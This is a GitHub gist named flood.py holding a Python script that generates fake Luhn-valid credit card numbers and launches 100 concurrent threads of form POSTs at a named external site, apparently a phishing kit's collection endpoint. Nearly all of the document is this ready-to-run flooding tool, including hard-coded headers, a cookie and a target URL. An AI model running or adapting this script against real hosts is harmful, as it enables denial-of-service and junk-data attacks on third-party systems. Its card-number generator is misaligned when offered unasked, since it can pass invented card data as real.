Skip to content

Instantly share code, notes, and snippets.

@Abdullamhd
Created September 19, 2022 18:53
Show Gist options
  • Select an option

  • Save Abdullamhd/9e45a4789fc65053a01a1e932ef93f92 to your computer and use it in GitHub Desktop.

Select an option

Save Abdullamhd/9e45a4789fc65053a01a1e932ef93f92 to your computer and use it in GitHub Desktop.
flood.py
import imp
import random
import urllib.request
import threading
def generate_credit_card_number():
cc_number = [0] * 15
for i in range(15):
cc_number[i] = random.randint(0, 9)
checksum = 0
for i in range(15):
if i % 2 == 0:
checksum += cc_number[i]
else:
checksum += sum(divmod(cc_number[i] * 2, 10))
check_digit = (10 - (checksum % 10)) % 10
cc_number.append(check_digit)
cc_number = ''.join(map(str, cc_number))
return cc_number
json_str = """"
{
"count": 0,
"data": {
"id": "714",
"gender": null,
"name_first": null,
"name_last": null,
"name_middle": null,
"name_suffix": null,
"birth_date": null,
"state": null,
"city": null,
"county": null,
"zipcode": null,
"address_line": null,
"address_line_2": null,
"phone_area_code": null,
"phone_number": null,
"email": null,
"race": null,
"virtual_identity": "{\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\",\"ip\":\"5.31.162.72\"}",
"lvl": "1",
"info": null,
"credentials": null,
"created_at": "2022-09-19 14:27:22",
"updated_at": "2022-09-19 14:27:22",
"mailing_country": null,
"mailing_zipcode": null,
"mailing_state": null,
"mailing_city": null,
"mailing_address_line": null,
"mailing_address_line_2": null,
"mailing_address_line_3": null,
"vid": null,
"active_date": null
}
}
"""
data = {
"info" : "test",
"credentials" : {
"credit_card" : {
"number" : generate_credit_card_number(),
"expiration" : "2022-09-19",
"cvv" : "123"
}
}
}
endpoint = 'https://redestolima.com/cpsess7733352990/wp-plugins/cpsess8899052192/rmx-200448508392/dash/help/api/pub/enter.php'
headers = {
'Host': 'redestolima.com',
'Connection': 'keep-alive',
'Content-Length': '0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'https://redestolima.com',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'https://redestolima.com/cpsess7733352990/wp-plugins/cpsess8899052192/rmx-200448508392/dash/help/api/pub/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
'Cookie': 'PHPSESSID=7733352990; _ga=GA1.2.1000000000.1600000000; _gid=GA1.2.1000000000.1600000000; _gat=1'}
def data_to_form(data):
form = []
for key, value in data.items():
if isinstance(value, dict):
form.append(data_to_form(value))
else:
form.append(f'{key}={value}')
return '&'.join(form)
def send_request(data):
form = data_to_form(data)
req = urllib.request.Request(endpoint, data=form.encode('utf-8'), headers=headers)
with urllib.request.urlopen(req) as response:
print('Status:', response.status, response.reason)
return response.read()
threads = []
for i in range(100):
t = threading.Thread(target=send_request, args=(data,))
threads.append(t)
t.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment